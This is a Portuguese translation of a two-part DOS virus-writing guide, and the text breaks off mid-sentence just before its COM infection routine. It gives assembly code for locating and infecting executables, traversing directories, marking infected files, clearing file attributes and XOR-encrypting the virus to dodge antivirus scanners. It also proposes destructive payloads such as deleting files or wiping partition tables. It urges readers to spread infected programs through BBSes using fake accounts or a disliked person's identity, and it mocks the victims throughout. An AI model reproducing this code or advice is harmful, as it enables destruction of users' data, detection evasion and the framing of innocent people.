Guia de criação de vírus
 
 
Vírus são horríveis criações que foram escritas para se multiplicarem
e destruírem os sistemas de idiotas incautos.  Isso elimina dos
sistemas
todos os simplesões que não acham um problema quando um arquivo
de 100 bytes
transforma-se em um de 1000 bytes.  Bah, esse imbecis não deveriam
existir,
sendo assim, é nosso trabalho sagrado varrer os discos rígidos deles
da face
da terra.  É apenas uma questão de sobrevivência do mais forte.
Porque eu criei esse guia?  Depois de escrever muitos virus, eu fiquei
sabendo
que os criadores de virus geralmente aprendem a criar virus atraves
dos seus
próprios vírus ou ao examinar o codigo dessassemblado de outros
vírus.
Existe uma falta incrível de informação no assunto.  Mesmo livros
publicados
por grandes nomes tal como Burger,  não mostram como são criados
os vírus.  Esse
guia irá mostrar a você como criar um vírus e também irá dar a você
um monte
de códigos fontes para incluir em seu próprio vírus.
Criar vírus não é tão difícl como você deve estar imaginando.  Para
escrever
um vírus efetivo, entretanto, você *deve* conhecer a linguagem
assembly.
Pequeno, código compacto são marcas registradas da linguagem
assembly e essas
são características desejáveis dos vírus.  Entretanto, *não* é
necessário escrever
em puro assembler.  C também pode ser usado, uma vez que ele
permite quase controle
total no sistema enquanto gera código relativamente compacto (se
você ficar longe
das bibliotecas de funções).  Entretanto, você deverá acessar as
interrupções, assim
conhecimento em assembly continua necessário.  Entretanto, ficar no
assembly puro
é melhor, uma vez que muitas operações são mais facilmente
codificadas em assembly.
Se você não conhece assembly, eu recomendo pegar uma cópia da
Bíblia Microsoft de
Macro Assembler (Nabajyoti Barkakati, ISBN #: 0-672-22659-6).  É
um livro simples
de seguir cobrindo o assembly com muitos detalhes.
Também pegar uma cópia de Undocumented DOS (Schulman, et al,
ISBN #0-201-57064-5),
também seria muito útil.
A questão de qual compilador usar também é difícil.  Eu sugiro usar
o
Borland Turbo  Assembler e/ou Borland C++.   Eu não tenho uma
cópia do Zortech C
(ele é muito grande para download), mas eu acho que ele é uma boa
escolha.  Fique
longe dos compiladores Microsoft, uma vez que eles não são tão
flexíveis nem
eficientes como aqueles dos outros fabricantes.
Um pouco mais de itens rondam a lista de ferramentas que ajudam na
construção de
vírus.  As últimas versões do Norton Utilities são uns dos programas
mais poderosos
disponíveis, e são imensamente necessários.  TENHA CERTEZA
QUE VOCÊ TENHA UMA CÓPIA!
Você pode encontrar isso em qualquer BBS decente.  O Norton é
usado em cada passo do
processo, da escrita até o teste.  Bons helps sobre debugger.  Utilitáris
de controle
de memória tais como MAPMEM, PMAP, e MARK/RELEASE, são
utilitários sem valor,
especialmente quando criando vírus TSR.  Sourcer, o dissassemblador
comentado, é útil
para examinar o código de outros vírus (esse é um bom lugar para
pegar idéias/técnicas
para seu vírus).
Agora que você tem suas ferramentas, você está pronto para criar um
trabalho de arte
criado para esmagar os sistemas dos cretinos.  Existem três tipos de
vírus:
     1) Vírus pequenos (abaixo dos 500 bytes) que são feitos para
serem indetectáveis devido ao seu
 pequeno tamanho.  TINY  é um desses vírus.    Eles são geralmente
muito simples devido
 ao fato que seu tamanho é muito limitado.
     2) Vírus Grandes  (acima dos 1,500 bytes)   que são feitos para ser
indetectáveis devido ao
 fato que eles cobrem seu rastro muito bem (todo aquele código
SERVE para algo!). O melhor
 exempho desse é o vírus Whale, que é talvez o melhor vírus 'Stealth'
atualmente.
     3) Outros vírus que não são feitos para serem escondidos
totalmente (os escritores não ligam
 para isso).  Os vírus comuns são como esses.  Todos os vírus que
sobreescrevem estão nessa
 categoria.
Você deve decidir que tipo de vírus você irá escrever.  Eu irei tratar
mais do segundo tipo
(Vírus Stealth).  Entretanto, muitas das técnicas descritas podem ser
facilmente aplicadas para
o primeiro tipo (vírus pequenos).
Entretantos, os vírus pequenos geralmente não tem muitas das
"qualidades" dos vírus maiores,
tais como diretórios transversal.  O terceiro tipo é mais um tipo de
replicação de caválo de
tróia, e irá garantir uma rápida (muito, muito rápida!) discussão mais
tarde.
Um vírus pode ser dividido em três partes: a replicação, a
camuflagem, e a bomba.  A parte
replicadora controla a multiplicação do vírus para outros arquivos, a
camuflagem evita o vírus
de ser encontrado, e a bomba apenas executa quando a condição de
ativação do vírus (more sobre
isso mais tarde) são satisfeitas.
 
 
             A REPLICAÇÃO
O trabalho para a replicação é o de multiplicar o vírus através do
sistema do cara que pegou o
vírus.  Como fazer isso sem destruir os arquivos que ele infecta?  A
forma mais fácil de fazer
esse tipo de replicação é através da infecção de arquivos COM.  Ele
primeiro salva os primeiros
bytes do arquivos infectado.  Depois ele copia uma pequena parte de
seu código para o início do
arquivo, e o resto para o fim.
  +----------------+      +------------+
  | P1 | P2              |       | V1 | V2    |
  +----------------+      +------------+
 Arquivo normal           O código do vírus
No diagrama, P1 é a parte 1 do arquivo, P2 é a parte 2 do arquivo, e
V1 e V2 são as partes 1 e 2
do vírus.  Note que que o tamanho de P1 deve ser o mesmo do que o
tamanho de V1, mas o tamanho de
P2 não deve ser necessariamente o mesmo de V2.  O vírus primeiro
salva P1 e copia ele para:
1)  O fim do arquivo ou 2) dentro do código do vírus.  Vamos
assumir que ele copia o código para
o fim do arquivo.  Esse arquivo agora agora está assim:
  +---------------------+
  | P1     | P2        | P1    |
  +---------------------+
Então, o vírus copia a primeira parte de si próprio para o início do
arquivo.
  +---------------------+
  | V1 | P2        | P1      |
  +---------------------+
Finalmente, o vírus copia a segunda parte de si próprio para o fim do
arquivo. A cópia final, o
arquivo infectado fica parecendo assim:
  +-----------------------------+
  | V1   | P2          | P1   | V2      |
  +-----------------------------+
A questão é: Que diabos fazem V1 e V2?  V1 transferem controle do
programa para V2.  O código
para fazer isso é simples.
    JMP FAR PTR Duh       ; Takes four bytes
    Duh  DW  V2_Start          ; Takes two bytes
Duh é um far pointer (Segmento:Offset) apontando para a primeira
instrução de V2.  Note que o
valor de Duh deve ser modificada para refletir o tamanho do arquivo
que está infectado.  Por
exemplo, se o tamanho original do programa é 79 bytes, Duh pode ser
modificado assim a instrução
em  CS:[155h] é executada.  O valor de Duh é obtido ao acrescentar o
tamanho de V1,  o tamanho
original do arquivo infectado, e 256 (para contar para o PSP).  Nesse
caso, V1=6 e  P1 + P2 = 79,
assim 6 + 79 + 256 = 341 decimal
(155 hex).
Um método alternado, muito mais difícil de entender segue-se:
     DB 1101001b              ; Código para o JMP (deslocamento de 2
byte)
    Duh  DW V2_Start - OFFSET Duh ; deslocamento de 2 byte
Isso insere o offset jump diretamente no código seguido da instrução
jump.  Você também pode
trocar a segunda linha com
     DW V2_Start - $
que faz a mesma tarefa.
V2 contém o resto do código, i.e. o código que faz todo o resto.  A
última parte de V2 copia P1
sobre V1 (na memória, não no disco) e então transfere o controle para
o início do arquivo (na
memória).  O programa original então roda feliz como se nada tivesse
acontecido.  O código para
fazer é muito simples.
     MOV SI, V2_START      ; V2_START é um rótulo marcando onde
V2 inicia
     SUB SI, V1_LENGTH     ; Volta atras para onde P1 está
armazenado
     MOV DI, 0100h         ; Todos os arquivos COM são carregados @
CS:[100h] na memória
     MOV CX, V1_LENGTH     ; Move CX bytes
     REP MOVSB             ; DS:[SI] -> ES:[DI]
     MOV DI, 0100h
     JMP DI
Esse código assume que P1 está localizado logo após V2, como aqui:
P1_Stored_Here:
     .
     .
     .
V2_Start:
Isso também assume ES  igual a CS.  Se essas instruções são falsas,
mude o código de acordo.
Aqui vai um exemplo:
     PUSH CS                          ; armazena CS
     POP  ES                            ;  e move isso para ES
                                               ; Note MOV ES, CS não é uma instrução
instrução válida
     MOV SI, P1_START        ; Move de onde P1 está armazenado
     MOV DI, 0100h                ;  para CS:[100h]
     MOV CX, V1_LENGTH
     REP MOVSB
     MOV DI, 0100h
     JMP DI
Esse código primeiro move CS para ES e então seta o pointer fonte
de  MOVSB para onde P1 está
localizado.  Lembre-se que isso tudo está pegando lugar na memória,
assim você precisa o OFFSET
de P1, não apenas a localização física do arquivo.  O offset de P1 é
100h maior do que a
localização física do arquivo, uma vez que arquivos COM são
carregados a partir de CS:[100h].
Assim aqui está um sumário das partes do vírus e localização dos
rótulos:
V1_Start:
     JMP FAR PTR Duh
    Duh  DW  V2_Start
V1_End:
P2_Start:
P2_End:
P1_Start:
  ; Primeira parte do programa armazenado aqui para uso futuro
P1_End:
V2_Start:
  ; Programa Real
V2_End:
V1_Length EQU V1_End - V1_Start
Alternativamente, você pode armazenar P1 em V2 como segue:
V2_Start:
P1_Start:
P1_End:
V2_End:
É isso esquema para infectar um arquivo COM sem destruir ele!
Simples, não?  Arquivos EXE, entretanto,
são um pouco mais difíceis de infectar sem deixar eles inexecutáveis -
Eu irei cobrir esse tópico
em um arquivo mais tarde.
Agora nós iremos voltar nossa atenção para a porção replicadora do
vírus.
Os passos são mostrados abaixo:
     1) Encontrar um arquivo para infectar
     2) Checar se ele já está infectado
     3) Se sim, voltar para 1
     4) Infectar ele
     5) Se já infectou arquivos que chegam então sai.
     6) Senão, volta para 1
Encontrar um arquivo para infectar é uma forma simples de escrever
um procedimento de diretórios
transversais e pode-se instruir chamadas FINDFIRST  e FINDNEXT
para encontrar arquivos possíveis
para infectar.  Uma vez que você encontra um arquivo, abra ele e leia
os primeiros poucos bytes.
Se eles são os mesmos que os primeiros bytes V1, então o arquivo já
está infectado.  Se o bytes
de V1 não são exclusivos de seu vírus então mude ele assim eles
serão.  É *extremamente*
importante que seu vírus não reinfecte os mesmos arquivos, uma vez
que foi  dessa forma que o
Jerusalem foi detectado pela primeira vez.  Se o arquivos não estava
infectado, então infecte-o!
Infecção deverá ter os seguintes passos:
     1) Mudar os atributos do arquivo para nada.
     2) Salvar a data/hora do arquivo.
     3) Fechar o arquivo.
     4) Abra ele de novo em modo de leitura/gravação.
     5) Salve P1 e acrescente ele no fim do arquivo.
     6) Copie V1 para o início, mas modifique o offset para onde ele
JMPs (pula) assim ele
          transfere o controle corretamente.
     7) Anexar V2 no fim do arquivo.
     8) Restaure atributos do arquivo e a data/hora.
Você pode manter um contador de número de arquivos infectados
durante essa rodada.  Se o número
excede, digamos 3, então pare.  É melhor infectar aos pouco do que se
deixar descobrir ao tentar
infectar todo o drive de uma vez só.
Você deve cobrir todos os seus rastros quando você infecta um
arquivo.  Salve os atributos do
arquivo originais mais a data e hora e restaure eles quando você
terminar.  ISSO É MUITO
IMPORTANTE!  Isso pega 50 a 75 bytes de código, provavelmente
menos, para fazer essas poucas
coisas que fazem maravilhas na hora de esconder seu programa.
Eu irei incluir o código para a função de diretório transversal, assim
como outras partes do
replicador na próxima edição do meu Guia de Vírus.
 
              CAMUFLANDO
Essa é a parte que camufla o programa para não ser encontrado pelo
usuário de todo dia e pelos
anti-vírus.
As forma mais simples de camuflagem é a encriptação.
O código para uma encriptação simples em XOR segue:
encrypt_val   db   ?
decrypt:
encrypt:
     mov ah, encrypt_val
     mov cx, part_to_encrypt_end - part_to_encrypt_start
     mov si, part_to_encrypt_start
     mov di, si
xor_loop:
     lodsb                 ; DS:[SI] -> AL
     xor al, ah
     stosb                 ; AL -> ES:[DI]
     loop xor_loop
     ret
Note que os procedimentos de encriptação e desencriptação são as
mesmas.  Isso é devido a
natureza louca do XOR.  Você pode chamar (CALL) esses
procedimentos de qualquer lugar no programa
mas tenha certeza que não chame ele de um lugar de dentro da área a
ser encryptada, pois o
programa irá dar erros.  Quando escrever o vírus, mude o valor de
encriptação para 0.
part_to_encrypt_start e part_to_encrypt_end indicam a parte que você
deseja encriptar.  Use uma
chama decrypt no início de V2 para desencriptar o arquivo assim seu
programa pode rodar.  Quando
Infectar um arquivo, primeiro mude o encrypt_val, depois chame
encrypt, depois escreva V2 para o
fim do arquivo, e chame decrypt.  TENHA CERTEZA QUE ESSA
PARTE NÃO ESTEJA NA ÁREA QUE VAI SER
ENCRIPTADA!!!
Aqui está como V2 irá parecer com a camuflagem:
V2_Start:
Concealer_Start:
  .
  .
  .
Concealer_End:
Replicator_Start:
  .
  .
  .
Replicator_End:
Part_To_Encrypt_Start:
  .
  .
  .
Part_To_Encrypt_End:
V2_End:
Alternativamente, você pode mover partes do código não-encriptado
entre Part_To_Encrypt_End e
V2_End.
O valor da encriptação é somente aparente.  Encriptação torna a tarefa
dos anti-vírus difícil
para encontrar seu vírus.  Ele também esconde algumas cadeias de
textos localizadas em seu
programa.  Esta é a forma mais fácil e curta de esconder seu vírus.
Encriptação é apenas uma forma de camuflar o vírus.  Há vírus que
alteram as interrupções do DOS
e altera a saída de dados do DIR, assim os tamanhos do arquivo
aparecem normais.  Outra forma
de camuflar (Para vírus TSR) é alterar o DOS assim utilitários de
memória não detectam o
vírus.  Carregar o vírus em certas partes da memória permitem que
eles sobrevivam a um reboot.
Existem muitas técnicas de camuflagem do vírus, limitadas apenas
pela imaginação do escritor.
 
                   A BOMBA
Bom, agora que toda a parte chata está feita.  A coisa indecente está
contida aqui.  A parte do
vírus que faz todas as deleções/slowdown/etc que deixam os vírus tão
incomodáveis.  De alguma
condições de ativação para o vírus.  Isso pode ser qualquer coisa, indo
da data de seu
aniversário até quando o vírus infectou 100 arquivos.  Quando essas
condições se concretizam,
então o seu vírus executa a bomba.  Alguma sugestões de bombas
possíveis:
     1) Deixar o sistema mais lento - facilmente feito ao capturar uma
interrupção e causar um
        delay quando ela ativa.
     2) Deleção de arquivos - Deletar todos os arquivos ZIP do drive.
     3) Mostrar messagens - Mostrar uma messagem legal tipo dissendo
algo de mesmo efeito de:
 "Você está fodido"
     4) Apagar/Trocar as tabelas de partição/Setor de Boot/FAT do
disco rígido - isso é muito mal,
 e muitos idiotas não conseguem arrumar isso.
Esse é, com certeza, a parte engraçada de escrever um vírus, então
seja original!
 
                PROBLEMAS
             COM O OFFSET
Existe um problema no cálculo de offsets.  Depois de você infectar
um arquivos, os locais das
variáveis mudam.  Você TEM que contar isso.  Todos offsets
relativos podem ficam o mesmo, mas
você tem que acrescentar o tamanho do arquivo para os offsets
absolutos ou seu programa não vai
funcionar.  Essa é a parte mais complicada ao escrever o vírus e levar
isso em conta irá aumentar
grandemente o tamanho do vírus.  ISSO É MUITO IMPORTANTE E
VOCÊ DEVE ESTAR ENTENDENDO ISSO ANTES
DE TENTAR ESCREVER UM QUE NÃO SOBREESCREVE OS
PROGRAMAS!  Se você não o fizer, você vai se fuder
e o seu vírus NÃO VAI TRABALHAR!  Uma parte inteira desse guia
vai ser devotado para esse
problema.
 
                  TESTANDO
Testar o vírus é uma parte perigosa mas essential no processo de
criação de vírus.  É para se ter
certeza que pessoas *irão* ser prejudicadas pelo vírus.  Teste-o em
todas as condições e tenha
certeza que ele ativa-se dentro das condições.  Isso pode ser me
melhor feito se você ou algum
amigo tiver um segundo computador para testas o vírus, mas, é claro,
esse não é o nosso caso.
Assim, é ESSENCIAL que você mantenha cópias de segurança de
seus arquivos, partição, boot record,
e FAT.  Norton é ótimo em fazer isso.  Nao esqueça esse aviso
porque você SERÁ atingido pelo seu
próprio vírus.  Quando eu fiz me primeiro vírus, meu sistema foi
abaixo por dois dias porque eu
não tinha boas cópias de segurança.  Com sorte, o vírus não era muito
destrutivo.  Eu encontrei
no RamDrive uma ótima forma de testar os vírus, uma vez que os
danos não são permanente.
RamDrive também é ótimo para testar Cávalos de Tróia, mas esse é
um tópico para outro arquivo...
 
              DISTRIBUINDO
 
Essa é outra parte interessante da escrita de vírus.  Isso envolve enviar
seu programa
brilhantemente feito através das linha de telefone para a sua BBS
local.  O que você deve fazer
é infectar um arquivo que faz algo interessante (pegue algum
utilitário útil de outra BBS),
infecte ele e dê um upload nele para o local onde ele será copiado por
usuários de todo lugar.
A melhor coisa que seu vírus tem é que ele não é detectado por
anti-vírus idiotas como o da
McAffee, uma vez que ele é novo!  E é claro, tenha certeza que você
está usando uma conta falsa
(duh).   Melhor ainda, crie uma conta false com o nome/número de
telefone de alguém que você não
goste e upload o arquivo infectado com o nome dele.  Você pode
ligar de volta de tempos em tempos
e usar uma porta como a ZDoor para checar a multiplicação do seu
vírus.  Quantos mais copiaram
seu vírus, mais compartilharam a experiência do seu vírus!
Eu prometi uma breve seção em vírus que sobreescrevem programas,
assim, aqui esta ela...
                  VÍRUS QUE
          SOBREESCREVEM
                 PROGRAMA
            (OVERWRITING)
Tudo o que esse vírus faz é espalhar-se pelo sistema.  Eles deixar os
arquivos infectados
inutilizados, assim eles são facilmente detectados.  É muito simples
fazer um:
   +-------------+   +-----+   +-------------+
   | Programa     | + |Vírus  | = |Vírus|ama      |
   +-------------+   +-----+   +-------------+
Esses vírus são pequenos, mas muito fáceis de serem detectados.  Isso
é o suficiente saber!
 
              BOM, É ISSO!!!
Espero que você tenha gostado da primeira edição de Guia de Criação
de Vírus. Irá ter (com sorte)
futuras edições onde eu discutirei mais sobre vírus e irei incluir
muito mais código fonte. Até
lá, Happy Coding!!!
 
==========================================================================
Na última parte do meu guia de criação de vírus, eu mostrei os vários
tipos de vírus e fiz uma
breve discussão sobre cada.  Nessa edição, eu deverei devotar toda a
minha atenção sobre a porção
replicadora do vírus.  Eu prometi código e código eu estou
apresentando.
 
Entretanto, eu devo me afastar um momento porque chegou aos meus
ouvidos que algumas cópias
piratas da primeira parte fora inadvertidamente realizadas.  Essas
cópias não contém uma seção
vital que seria o cálculo de offsets.
Você nunca sabe quando estão suas variáveis e o código está sumindo
na memória.  Se você pensar
um pouco, isso seria muito óbvio.  Uma vez que você está anexando
o vírus para o fim de um
programa, a localização na memória esta sendo alterado, i.e. ele será
maior que o tamanho do
arquivo infectado.  Assim, para compensar, nós devemos pegar a
mudança no offset a partir do
vírus original, ou o offset delta, e acrescentar aquilo para todas as
referências de variáveis.
 
Instruções que usam deslocamentos,  ex. offsets relativos, não
precisam ser modificados.  Essas
instruções são as classes JA, JB, JZ de instruções, JMP, SHORT, label
JMP, e CALL.  Então,
quando possível use essas vez de JMP FAR PTR.
 
Suponha nos exemplos seguintes, que si é algo carregado no offset
delta.
 
  Trocar
    mov ax, counter
  Por
    mov ax, word ptr [si+offset counter]
 
  Trocar
    mov dx, offset message
  Por
    lea dx, [si+offset message]
 
Você pode estar se perguntado, "Como diabos eu irei encontrar o
offset delta!?"
É muito simples:
 
    call setup
  setup:
    pop  si
    sub  si, offset setup
 
  Uma explicação para o fragmento acima está vindo.  CALL setup
empurra a localização para a
próxima instrução, ou seja, offset setup, indo para a pilha.  Depois,
essa instrução é POPada
em si.  Finalmente, o offset ORIGINAL de setup (calculada em tempo
de compilação) é subtraída
de si, dando a você o offset delta.  No vírus original, o offset delta irá
ser 0, ou seja a nova
localização do setup igual a velha localização do setup.
 
É preferível usar bp como seu offset delta, uma vez que si é usado nas
instruções de cadeia de
caracteres.  Use aquele que você achar melhor.  Eu irei aleatoriamente
passar de um para outro
dependendo de como cada um se encaixa.
 
  Agora de volta para a replicação...
 
  Um vírus biológico é um organismo parasítico que usa seu portador
para multiplicar a si mesmo.
Ele deve manter o portador vivo para manter-se vivo.  Apenas quando
ele se multiplicou demais, é
que seu portador morre, morte horrível.  Os vírus eletrônicos
modernos não são diferentes.  Ele
se acrescenta para um sistema portador e se reproduz até que o
sistema inteiro esteja fodido.
Ele então elegantemente demole o sistema do idiota que estava com o
vírus.
 
  Replicação é aquilo que distingue um vírus de um simples cavalo de
tróia.  Qualquer um pode
fazer um cavalo de tróia, mas um vírus é muito mais elegante.  Ele
age praticamente invisível,
e ele deixa a vítima sem defesas quando ele acaba com o sistema.  A
primeira questão é, é claro,
como um vírus se multiplica?  Tanto as infecções COM e EXE (com
rotinas de infecção de exemplo)
deverão ser apresentadas.
 
  Existem duas grandes variedades de vírus: runtime(tempo de
execução) e TSR(Terminate and Stay
Resident, termina e continua residente).  Vírus de Runtime, infecta
arquivos quando o programa
infectado está rodando, enquanto que os vírus TSR ficam residentes
quando o programa infectado
é executado, ele então captura as interrupções e infecta quando um
arquivo é rodado, aberto,
fechado, e/ou durante a execução (i.e.  INT  20h,  INT  21h/41h).
Existem vantagens e
desvantagens em cada uma.  Vírus Runtime são difíceis de detectar
uma vez que eles não aparecem
em mapas de memória, mas, olhando outro aspecto, o delay enquanto
ele procura arquivo e infecta
um arquivo são um motivo para o usuário suspeitar de que algo está
saindo errado.  Vírus TSR, se
não forem bem feitos, podem ser facilmente localizados por
utilitários como o MAPMEM, PMAP, etc,
mas são em geral, pequenos, desde que eles não precisem de função
para procurar por arquivos para
infectar.  Eles são mais rápidos do que vírus runtime, sendo devido ao
fato que eles não tem que
procurar por arquivos para infectar.  Eu devo cobrir vírus runtime
aqui, e vírus TSR em uma
edição futura.
 
  Aqui está um sumário do procedimento de infecção:
       1) Achar um arquivo para infectar.
       2) Checar se ele possui os critérios para infecção.
       3) Ver se ele já foi infectado, e se for, volte para 1.
       4) Senão, infecte o arquivo.
       5) Cubra seus rastros.
 
  Eu devo passar por cada um desses passo e mostrar código de
exemplo para cada um. Note que
praticamente um vírus completo pode ser feito com a informação
acima, você pode simplesmente
separar o código e juntar tudo depois, como os fragmentos são de
vários vírus diferentes que eu
escrevi, você deve estar familiar com assembly.  Eu apresento
fragmentos de códigos; você que
sabe se quer usar eles como exemplos ou modifica-los para seu
próprio vírus.
 
 
                    PASSO 1 -
             ENCONTRANDO
               UM ARQUIVO
            PARA INFECTAR
 
   Antes de infectar um arquivo, você terá que encontra-lo primeiro!
Isso é um passo decisivo
na performance do vírus, então isso deverá ser feito o mais eficiente
quanto possível.  Para
vírus runtime, existem algumas opções.  Você pode infectar arquivos
apenas no diretório atual, ou
você pode fazer uma função de diretórios transversal para infectar
arquivos em TODOS os
diretórios (apenas alguns poucos arquivos por vez, é claro), ou você
pode infectar arquivos em
alguns diretórios.  Por que você deve escolher apenas para infectar
arquivos no diretório atual?
Isso é uma limitação da eficácia das infecções.  Entretanto, isso é
feito em alguns vírus tanto
para acelerar o processo quanto para diminuir o tamanho do código.
 
  Aqui está uma função de diretório transversal.  Ele usa
recursividade, assim ele é um pouco
lento, mas ele faz o trabalho.  Isso foi extraído com algumas
modificações do Funky Bob Ross Virus
[Beta].
 
  traverse_fcn proc    near
          push    bp                      ; Create stack frame
          mov     bp,sp
          sub     sp,44                   ; Alocar spaço para DTA
 
          call    infect_directory        ; Vá para rotinas de encontrar e
destruir
 
          mov     ah,1Ah                  ;Alterar DTA
          lea     dx,word ptr [bp-44]     ; para distribuir o espaço
          int     21h                     ;Faça isso agora!
 
          mov     ah, 4Eh                 ;Find first
          mov     cx,16                   ;Mascara de diretório
          lea     dx,[si+offset dir_mask] ; *.*
          int     21h
          jmp     short isdirok
  gonow:
          cmp     byte ptr [bp-14], '.'   ; Primeiro caracter == '.'?
          je      short donext            ; Sim, faz um loop
          lea     dx,word ptr [bp-14]     ; senão carregar dirname
          mov     ah,3Bh                  ; e mudar de diretório lá
          int     21h
          jc      short donext              ; Do next se inválido
          inc     word ptr [si+offset nest] ; nest++
          call    near ptr traverse_fcn     ; diretório recursivo
  donext:
          lea     dx,word ptr [bp-44]     ; Carrega espaço alocado para DTA
          mov     ah,1Ah                  ; e configura DTA para essa nova área
          int     21h                     ; Porque isso pode'cause it might have
changed
 
          mov     ah,4Fh                  ;Find next
          int     21h
  isdirok:
          jnc     gonow                   ; Se OK, jmp para outro lugar
          cmp     word ptr [si+offset nest], 0 ; Se diretório raiz
                                               ;  (nest == 0)
          jle     short cleanup                ; então Quit
          dec     word ptr [si+offset nest]    ; Senão decrementa nest
          lea     dx, [si+offset back_dir]; '..'
          mov     ah,3Bh                  ; Mudar de diretório
          int     21h                     ; Para o próximo
  cleanup:
          mov     sp,bp
          pop     bp
          ret
  traverse_fcn endp
 
  ; Variáveis
  nest     dw     0
  back_dir db     '..',0
  dir_mask db     '*.*',0
 
  O código é auto-explicável.  Tenha certeza de que você tem uma
função  infect_directory
que scaneia o diretório em busca de arquivos para serem infectados e
tenha certeza que ele não
infecte arquivos já infectados.  Esta função, chama infect_file que
infecta o arquivo.
 
  Note, como eu disse antes, isso é lento.  Um método rápido, não o
melhor, é o método "ponto a
ponto".  Hellraiser  mostrou a mim esse pequeno truque.
Basicamente, você continua procurando
em cada diretório e, se você não tiver infectado arquivos suficientes,
vá para o diretório
anterior (ponto a ponto) e tenta denovo, e assim vai.  O código é
simples.
 
  dir_loopy:
          call    infect_directory
          lea     dx, [bp+dotdot]
          mov     ah, 3bh                 ; CHDIR
          int     21h
          jnc     dir_loopy               ; sair se está no diretório
 
  ; Variables
  dotdot  db      '..',0
 
  Agora você deve encontrar um arquivo para infectar.  Isso é feito
(nos fragmentos acima) por
uma função chamada infect_directory.  Essa função chama
FINDFIRST e FINDNEXT
uma quantidade de vezes para encontrar arquivos para infectar.  Você
deve primeiro configurar
um novo DTA.  NUNCA use o DTA no PSP (a 80h) porque alterando
aquilo irá alterar os parâmetros
da linha de comando do programa infectado quando o controle é
retornado a ele.  Isso é feito
facilmento feito com o seguinte código:
 
          mov     ah, 1Ah                 ; Seta DTA
          lea     dx, [bp+offset DTA]     ; para uma variável chamada DTA
(wow!)
          int     21h
 
  Onde DTA  é um pedaço de 42-byte de memória.  Depois, fazer uma
série de chamadas FINDFIRST e
FINDNEXT:
 
          mov     ah, 4Eh                 ; Procura primeiro arquivo
          mov     cx, 0007h               ; Qualquer atributo do arquivo
          lea    dx, [bp+offset file_mask]; DS:[DX] --> máscara do
arquivo
          int     21h
          jc      none_found
  found_another:
          call    check_infection
          mov     ah, 4Fh                 ; Procura próximo arquivo
          int     21h
          jnc     found_another
  none_found:
 
  Onde file_mask  é DBed  tanto para '*.EXE',0 ou '*.COM',0.
Alternativamente, você pode
usar FINDFIRST para '*.*',0 e checar se a extensão é EXE ou COM.
 
 
                    PASSO 2 -
             CHECAGEM DE
              CRITÉRIOS DE
                  INFECÇÃO
 
  Seu vírus deve ser esperto em sua infecção.  Por exemplo, você pode
não querer infectar o
COMMAND.COM, uma vez que alguns programas (i.e. o maldito
FluShot+) checa seu CRC ou checksum
quando executado.  Aqui abaixo vai uma forma de como não infectar
o COMMAND.COM, ele checa se
as últimas letras são "ND":
 
          cmp     word ptr [bp+offset DTA+35], 'DN'  ; Order Reversa da
palavra
          jz      fail_check
 
 
                    PASSO 3 -
            CHECANDO POR
                  INFECÇÃO
                  ANTERIOR
 
 
  Todo vírus tem certas características que permitem que você a você
verificar se um arquivo
já foi infectado.  Por exemplo, um pedaço de código pode aparecer
em um certo lugar.  Ou talvez
a instrução JMF estão sempre codificada da mesma forma.  De outra
forma, você deve ter certeza
que seu vírus possui um marcador, assim múltiplas infecções no
mesmo arquivo não ocorrem.  Aqui
está um exemplo de uma checagem desse tipo (para um infector de
arquivo COM):
 
          mov     ah,3Fh                          ; Lê os primeiros 3
          mov     cx, 3                           ; bytes do arquivo
          lea     dx, [bp+offset buffer]          ; para o buffer
          int     21h
 
          mov     ax, 4202h                       ; Procurar o fim do arquivo
          xor     cx, cx                          ; DX:CX = offset
          xor     dx, dx                          ; Retorna o tamanho do arquivo
          int     21h                             ; em DX:AX
 
          sub     ax, virus_size + 3
          cmp     word ptr [bp+offset buffer+1], ax
          jnz     infect_it
 
  bomb_out:
          mov     ah, 3Eh                         ; senão fecha o arquivo
          int     21h                             ;  e vai procurar outro
 
  Nesse exemplo, BX é assumido para mexer com o arquivo a fim de
checar se foi infectado e se
se o tamanho do vírus é igual ao tamanho do vírus.  Buffer é
assumido para ser uma área de
3 bytes de espaço vazio.  Esse fragmento de código lê os primeiros 3
bytes no buffer e depois
compara a localização do JMP. (localizado no início do Word em
buffer+1) e se o JMP está a
virus_size bytes antes do Fim do arquivo, então o arquivo já está
infectado com esse vírus.
Outro método pode ser procurar em uma certa localização no arquivo
para um byte ou word marcador.
Por exemplo:
          mov     ah, 3Fh                         ; Le os primeiros 4
          mov     cx, 4                           ; bytes do arquivo
          lea     dx, [bp+offset buffer]          ; no buffer.
          int     21h
 
          cmp     byte ptr [buffer+3], infection_id_byte ; Checar o quarto
          jz      bomb_out                        ; byte para o marcador
  infect_it:
 
 
                    PASSO 4 -
                INFECTAR O
                   ARQUIVO
 
  Esse é o coração da replicação.  Uma vez que você localizou uma
arquivo potencial, você deve
salvar os atributos, hora, data e tamanho para uso mais tarde.  A parte
abaixo é uma explicação do DTA:
 
    Offset     Tamanho   O que é
      0h       21 BYTES  Reservado, varias a cada versão do DOS
     15h       BYTE      Atributo do Arquivo
     16h       WORD      Hora do Arquivo
     18h       WORD      Data do Arquivo
     1Ah       DWORD     Tamanho do Arquivo
     1Eh       13 BYTES  ASCIIZ nome + extensão
 
  Como você pode ver, o DTA contém todas as informações vitais
quanto ao arquivo que você
precisa. O código abaixo é um exemplo de como salvar as
informações:
 
          lea  si, [bp+offset DTA+15h]            ; Iniciar com atributos
          mov  cx, 9                              ; Terminar com tamanho
          lea  di, [bp+offset f_attr]             ; Mover para sua localizações
          rep  movsb
  ; Variáves necessárias
  f_attr  db   ?
  f_time  dw   ?
  f_date  dw   ?
  f_size  dd   ?
 
  Você agora pode mudar os atributos do arquivo para nada através de
INT 21h/Função 43h/
Subfunção 01h.   Isso é para permitir a infecção de arquivos de
sistema, escondidas e arquivos
apenas de leitura.  Apenas vírus primitivos (ou minímos) não
infectam esses arquivos.
 
          lea  dx, [bp+offset DTA+1eh]            ; DX aponta para nome do
arquivo em
          mov  ax, 4301h                          ; DTA
          xor  cx, cx                             ; Limpar atributos do arquivos
          int  21h                                ; Fazer a chamada
 
  Uma vez que os atributos foram aniquilados, você pode abrir o
arquivo com impunidade.
Use um acesso em modo ler/escrever.
 
          lea  dx, [bp+offset DTA+1eh]            ; Use nome do arquivo no
DTA
          mov  ax, 3d02h                          ; Abrir modo ler/escrever
          int  21h                                ; duh.
          xchg ax, bx                             ; Acesso é mais útil em
                                                  ; BX
 
  Agora nos chegamos na parte que você mais queria: a rotina de
infecção.  Eu estou orgulhoso
para apresentar códigos que irão fazer a infecção em arquivos COM.
Ahh, você diz, eu posso
